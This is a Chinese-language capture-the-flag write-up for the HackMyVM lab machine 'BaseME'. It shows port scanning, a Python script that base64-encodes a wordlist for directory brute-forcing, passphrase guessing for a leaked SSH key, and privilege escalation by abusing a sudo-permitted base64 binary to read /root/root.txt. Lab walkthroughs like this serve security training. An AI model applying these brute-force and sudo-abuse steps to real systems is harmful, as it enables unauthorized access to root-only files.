8.BaseME

dg-publish:
  - "true"
tags:
  - HMV
  - base64
难度: ⭐️⭐️
作者: sml
系统: Linux

1. 基本信息^toc

靶机链接：https://hackmyvm.eu/machines/machine.php?vm=BaseME

作者：sml

难度：⭐️⭐️

知识点：base64编码扫描、linuxbase64编码自带换行符、

2. 信息收集

端口扫描

──(root㉿kali)-[/home/kali]
└─# nmap -sS 192.168.9.10  -p 1-65535 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 21:25 CST
Nmap scan report for 192.168.9.10
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:7C:3B:62 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds

上面是一串base64编码的字符串

解码得到

ALL, absolutely ALL that you need is in BASE64.
Including the password that you need :)
Remember, BASE64 has the answer to all your questions.
-lucas

提示我们我们想要的都可以通过base64获取

尝试爆破目录发现没有结果。猜测可能是需要base64加密

3. BASE64编码目录爆破

直接对字典进行逐行base64加密

import base64

def encode\_file\_line\_by\_line(*input\_file*, *output\_file*):
    with open(*input\_file*, 'r', *encoding*='utf-8') as infile, open(*output\_file*, 'w', *encoding*='utf-8') as outfile:
        for line in infile:
            *# 直接对整行（包括换行符）进行 Base64 编码*
            encoded\_line = base64.b64encode(line.encode()).decode()
            *# 将编码后的内容写入输出文件，并添加换行符*
            outfile.write(encoded\_line + '\n')

*# 使用示例*
input\_file = 'dicc.txt'  *# 输入文件路径*
output\_file = 'base64\_dicc.txt'  *# 输出文件路径*
encode\_file\_line\_by\_line(input\_file, output\_file)

然后爆破

/aWRfcnNhCg==
/cm9ib3RzLnR4dAo=

获取了私钥

ssh连上去

提示需要私钥密码

猜测就是开始下面那句话的Base64编码

iloveyou
youloveyou
shelovesyou
helovesyou
weloveyou
theyhatesme

这里直接逐行Base64加密是不行的，后面要加上一个回车才是对的（因为他这里面的编码都是linux里面进行的。linux默认对字符串进行base64编码后面是带有换行符的）

第一个加密就是对的

iloveyou 》aWxvdmV5b3UK

然后就能连接上来了

4. 提权

lucas@baseme:~$ find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64
lucas@baseme:~$

sudo base64 "/root/root.txt" |base64 --decode

这里应该读取私钥然后连接

我这里直接偷懒读取flag了